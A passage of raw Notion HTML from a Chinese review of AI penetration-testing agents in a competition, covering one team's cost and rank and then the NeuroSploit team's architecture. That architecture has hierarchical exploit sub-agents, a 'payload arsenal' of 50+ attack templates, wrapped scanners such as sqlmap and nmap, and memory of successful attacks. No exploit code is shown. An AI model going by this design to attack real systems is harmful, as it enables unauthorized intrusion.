00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">成本与效果分析</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8143bff1fecbaf4dc4db"><b>平均成本:</b> 19.2元/题</div><div class="notion-text notion-block-30a0f0c5b87c815d87c4d6b146b08e4a"><b>成本分析：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8103a9c5e164b6f4ea83"><li>在所有战队中属于中等偏高水平</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8133b45bd92c7be3f859"><li>主要因为使用Kimi消耗较高</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81e285a8fc1458e99c6b"><li>但换用DeepSeek后成本会大幅降低</li></ul><div class="notion-text notion-block-30a0f0c5b87c817a8261c2fa71f70a24"><b>排名分析：</b> 第四名 (NO.4)</div><div class="notion-text notion-block-30a0f0c5b87c81d0b714eace3fda8b23"><b>核心价值：</b>
证明了”零调优+极简架构”的可行性，为通用AI Agent提供了重要参考。</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8171ba51cccd2b580ec4" data-id="30a0f0c5b87c8171ba51cccd2b580ec4"><span><div id="30a0f0c5b87c8171ba51cccd2b580ec4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8171ba51cccd2b580ec4" title="可借鉴之处"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">可借鉴之处</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81fcb273fecca7f8f9e1" style="list-style-type:decimal"><li><b>Meta-Tooling模式</b> ⭐⭐⭐⭐⭐ - 创新的工具调用方式，极大提升灵活性</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81d3bcf4ded95307c168" style="list-style-type:decimal"><li><b>Jupyter Kernel状态管理</b> ⭐⭐⭐⭐⭐ - 优雅的状态保持方案，解决Agent一大痛点</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c813cad82fca5e8dadbe5" style="list-style-type:decimal"><li><b>极简设计理念</b> ⭐⭐⭐⭐ - “简单就是最好的”，避免过度工程化</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81429bc5f2b13cc36571" style="list-style-type:decimal"><li><b>人类可视化</b> ⭐⭐⭐⭐ - VNC+流量代理解决AI黑盒问题</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c81febdb0f5490b11eb81"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c81acadb1d98e676c406d" data-id="30a0f0c5b87c81acadb1d98e676c406d"><span><div id="30a0f0c5b87c81acadb1d98e676c406d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81acadb1d98e676c406d" title="NeuroSploit (清华联合) - 第六名"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">NeuroSploit (清华联合) - 第六名</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c812b9de9d1282a4e870b"><b>团队:</b> 清华/东南/国防科大 联合战队
<b>核心特色:</b> 层级化多智能体 | 知识与军火双引擎 | 自进化能力 | 专家级深度</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8170958bf19c21b2b7b3" data-id="30a0f0c5b87c8170958bf19c21b2b7b3"><span><div id="30a0f0c5b87c8170958bf19c21b2b7b3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8170958bf19c21b2b7b3" title="团队背景"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">团队背景</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8184a9fcd905d2f78cc4">由三所顶尖高校安全团队联合组成：</div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c817fbf88f0f3c4a30575"><li><b>清华大学</b> - 核心算法与架构设计</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c815b9a3dfd3849ddbcb3"><li><b>东南大学</b> - 工程实现与优化</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c816690d1dd86581ae42f"><li><b>国防科技大学</b> - 安全领域专业知识</li></ul><div class="notion-text notion-block-30a0f0c5b87c814ab985c591ececa609"><b>优势互补：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81c49340c9fb09aa9fe2"><li>清华的AI技术积累</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81e69a84dcca950ad60c"><li>东南的工程化能力</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b99e29d58e6274b3f1"><li>国科大的安全专业背景</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c815c92c1f35d2c7c4566" data-id="30a0f0c5b87c815c92c1f35d2c7c4566"><span><div id="30a0f0c5b87c815c92c1f35d2c7c4566" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c815c92c1f35d2c7c4566" title="架构设计"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">架构设计</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c8186aa36fb55e177b926"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image11-20260217113443-s1s9k45.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-8186-aa36-fb55e177b926" alt="NeuroSploit - 层级化多智能体架构" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81258d4af5d2b587d0f5">NeuroSploit - 层级化多智能体架构</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c814e9a02cf5cf7980e3b"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/cn06_hierarchical_agents-20260217113443-qaraole.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-814e-9a02-cf5cf7980e3b" alt="生成图片 - 层级化多智能体架构（中文）" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81b1988aed404a66c091">生成图片 - 层级化多智能体架构（中文）</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c813eb4d4cc69ecf20541" data-id="30a0f0c5b87c813eb4d4cc69ecf20541"><span><div id="30a0f0c5b87c813eb4d4cc69ecf20541" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c813eb4d4cc69ecf20541" title="架构01: 层级化多智能体 (Hierarchical Agents)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">架构01: 层级化多智能体 (Hierarchical Agents)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8150a6b8e6727d2974fa"><b>“司令部 + 特种兵”模式：</b></div><div class="notion-text notion-block-30a0f0c5b87c818aa302c305ad65ab8b"><b>Lead Agent（司令部）</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c813f94d3ce76edac94a1"><li>统筹全局</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c816e8f81c82d674f57b9"><li>分析目标环境、制定攻击策略</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d09e24c48d24cae417"><li>分配任务给Sub-Agents、协调各Sub-Agent工作</li></ul><div class="notion-text notion-block-30a0f0c5b87c81ff9979db9e2655d98a"><b>Sub-Agents（特种兵）</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c813d881ac88949ab4b8e"><li><b>Recon Sub-Agent</b>（侦察兵） - 负责信息收集、端口扫描、目录枚举</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c812db9d4dae0d7f8ab99"><li><b>Exploit Sub-Agent</b>（突击兵） - 负责漏洞利用、执行攻击代码、获取Shell</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c813d8be5f03fee6d8c7d"><li><b>专精Sub-Agents</b>（专家兵）</li><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c813d8be5f03fee6d8c7d"><li>XSS Sub-Agent - 专注跨站脚本攻击</li><li>IDOR Sub-Agent - 专注不安全的直接对象引用</li><li>SSTI Sub-Agent - 专注服务器端模板注入</li><li>RCE Sub-Agent - 专注远程代码执行</li><li>SQLi Sub-Agent - 专注SQL注入</li></ul></ul><div class="notion-text notion-block-30a0f0c5b87c8138a3dacbbbd2966963"><b>协作流程：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c819096f3f190a89f60c6" data-id="30a0f0c5b87c819096f3f190a89f60c6"><span><div id="30a0f0c5b87c819096f3f190a89f60c6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c819096f3f190a89f60c6" title="架构02: 知识与军火双引擎 (Dual Engines)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">架构02: 知识与军火双引擎 (Dual Engines)</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c8137a494f8b4c4bf9826"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image12-20260217113443-655ylyo.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-8137-a494-f8b4c4bf9826" alt="NeuroSploit - 知识军火库架构" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c8171a3c7f792e67a9820">NeuroSploit - 知识军火库架构</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c8104bac3f87a92f4d202"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/cn07_knowledge_arsenal-20260217113443-mf3xz4k.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-8104-bac3-f87a92f4d202" alt="生成图片 - 知识军火库系统架构（中文）" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81a29645ea4f2e940aa1">生成图片 - 知识军火库系统架构（中文）</div><div class="notion-text notion-block-30a0f0c5b87c81a693dde09409867225"><b>引擎1: OWASP知识库</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c811583d2cc24374bf640"><li>作用: 指导战术</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81ac85d3f9846b4004d2"><li>内容: 安全知识、攻击方法、漏洞原理</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c819aa2aec0ccfeaa1ed2"><li>形式: 结构化的安全知识</li></ul><div class="notion-text notion-block-30a0f0c5b87c81df87d9e2d46efd1bfa"><b>引擎2: Payload军火库</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8103a6def80a87280c50"><li>作用: 提供弹药</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81fbaeb2cf7a0a8fa03f"><li>内容: 50+个现成的Payload模板</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81209705d65ee30d5f52"><li>形式: 可直接使用的攻击代码</li></ul><div class="notion-text notion-block-30a0f0c5b87c81ec826fd040cdca74e3"><b>工作原理：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81d8ad7cc6c19f8e9f61" data-id="30a0f0c5b87c81d8ad7cc6c19f8e9f61"><span><div id="30a0f0c5b87c81d8ad7cc6c19f8e9f61" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81d8ad7cc6c19f8e9f61" title="架构03: MCP工具矩阵 (MCP Tool Matrix)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">架构03: MCP工具矩阵 (MCP Tool Matrix)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8148b5a1c384553fbd10"><b>支持的工具：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c812d87a8fd59cf64e6be"><li>Nuclei - 漏洞扫描</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8184932cc8a41217c400"><li>Xray - 被动扫描</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8194a951d32b11a09b45"><li>Playwright - 浏览器自动化</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8190bfffd99cc695be8f"><li>Nmap - 端口扫描</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8161bc9df069f9742e1e"><li>Sqlmap - SQL注入</li></ul><div class="notion-text notion-block-30a0f0c5b87c81d6b0bfe9732ddd0147"><b>MCP封装（标准化）：</b></div><div class="notion-text notion-block-30a0f0c5b87c819bb4f2dd215cacfaf2"><b>优势：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81cd9b74eed019b02ca8"><li>参数化控制</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b7b3fdf59c5a51eb41"><li>统一接口</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8114a49dc8413fc97dfb"><li>易于维护</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8101abe5f4ecb9c7544f"><li>Agent更容易理解</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81619408c332903fe099" data-id="30a0f0c5b87c81619408c332903fe099"><span><div id="30a0f0c5b87c81619408c332903fe099" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81619408c332903fe099" title="架构04: 状态与记忆闭环 (Loop Management)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">架构04: 状态与记忆闭环 (Loop Management)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81eeb00ed5319d04ee6a"><b>Apache Burr状态流转：</b></div><div class="notion-text notion-block-30a0f0c5b87c818ea4ccdd997941897e"><b>ReMem Agent（记忆Agent）：</b>
存储成功/失败经验，形成闭环。</div><div class="notion-text notion-block-30a0f0c5b87c811f9151cbaa4fb376bd"><b>记忆机制：</b></div><div class="notion-text notion-block-30a0f0c5b87c811eabbae61c7d68c231"><b>工作流程：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8191bd03d02f45c6effa" data-id="30a0f0c5b87c8191bd03d02f45c6effa"><span><div id="30a0f0c5b87c8191bd03d02f45c6effa" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8191bd03d02f45c6effa" title="核心优点"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心优点</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c819190bdca57661ee4e2" data-id="30a0f0c5b87c819190bdca57661ee4e2"><span><div id="30a0f0c5b87c819190bdca57661ee4e2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c819190bdca57661ee4e2" title="1. 具备”自进化”能力 (Self-Evolution) ⭐⭐⭐⭐⭐"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. 具备”自进化”能力 (Self-Evolution) ⭐⭐⭐⭐⭐</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81af95f1d43d0d5416e5"><b>最大亮点！</b> 通过ReMem机制，系统能”记住”成功攻击模式。</div><div class="notion-text notion-block-30a0f0c5b87c81b6a660f1fb7d069ebc"><b>进化过程：</b></div><div class="notion-text notion-block-30a0f0c5b87c817aa2dafb5ade9a7d36"><b>价值：</b> 随着任务增加，系统越用越强！</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81e49129c694f1d45476" data-id="30a0f0c5b87c81e49129c694f1d45476"><span><div id="30a0f0c5b87c81e49129c694f1d45476" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81e49129c694f1d45476" title="2. 专家级深度 (Deep Specialization) ⭐⭐⭐⭐⭐"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. 专家级深度 (Deep Specialization) ⭐⭐⭐⭐⭐</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81d7af6aefa2c015a42f"><b>拒绝”万金油”式Agent</b></div><div class="notion-text notion-block-30a0f0c5b87c81ec9954f1c95eab6df8">针对不同漏洞类型配备专有模型/Prompt，攻击深度远超通用Agent。</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8110a212fa8450f0499f" data-id="30a0f0c5b87c8110a212fa8450f0499f"><span><div id="30a0f0c5b87c8110a212fa8450f0499f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8110a212fa8450f0499f" title="3. 有理有据的攻击 (Reasoned Attacks) ⭐⭐⭐⭐"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. 有理有据的攻击 (Reasoned Attacks) ⭐⭐⭐⭐</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8121bf23fb0c12e40c5c">依托内置军火库与CheatSheet，模拟人类黑客”查阅文档 -&gt; 构造Payload”思维路径。</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81ac8ed1f9ffbdbb38f6" data-id="30a0f0c5b87c81ac8ed1f9ffbdbb38f6"><span><div id="30a0f0c5b87c81ac8ed1f9ffbdbb38f6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81ac8ed1f9ffbdbb38f6" title="4. 白盒化可控 (Controllability) ⭐⭐⭐⭐"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4. 白盒化可控 (Controllability) ⭐⭐⭐⭐</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c814a85b1f44fa4b15fe3">通过可视化界面监控Agent的每一步决策路径，确保逻辑不跑偏。</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81248b98cd9212d5d67b" data-id="30a0f0c5b87c81248b98cd9212d5d67b"><span><div id="30a0f0c5b87c81248b98cd9212d5d67b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81248b98cd9212d5d67b" title="排名分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">排名分析</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81ef85f1ff858fd55e2e"><b>最终排名:</b> 第六名 (NO.6)</div><div class="notion-text notion-block-30a0f0c5b87c810e976ef88f67f53e57"><b>可能的原因：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81a48d52ea75e275d44b" style="list-style-type:decimal"><li><b>架构复杂度高</b> - 理论上非常先进，但工程实现难度大，可能出现各种bug</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81e59dd2c9b43fd19881" style="list-style-type:decimal"><li><b>启动成本高</b> - 需要积累足够经验才强大，比赛时间有限</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c814e8258e341db3ceca5" style="list-style-type:decimal"><li><b>专门化的局限</b> - 在已知漏洞类型上很强，但遇到全新类型可能不如通用方案</li></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81b89223f7ef424e39d0" data-id="30a0f0c5b87c81b89223f7ef424e39d0"><span><div id="30a0f0c5b87c81b89223f7ef424e39d0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81b89223f7ef424e39d0" title="可借鉴之处"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">可借鉴之处</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c814183a6cc3b81649f19" style="list-style-type:decimal"><li><b>层级化多智能体架构</b> 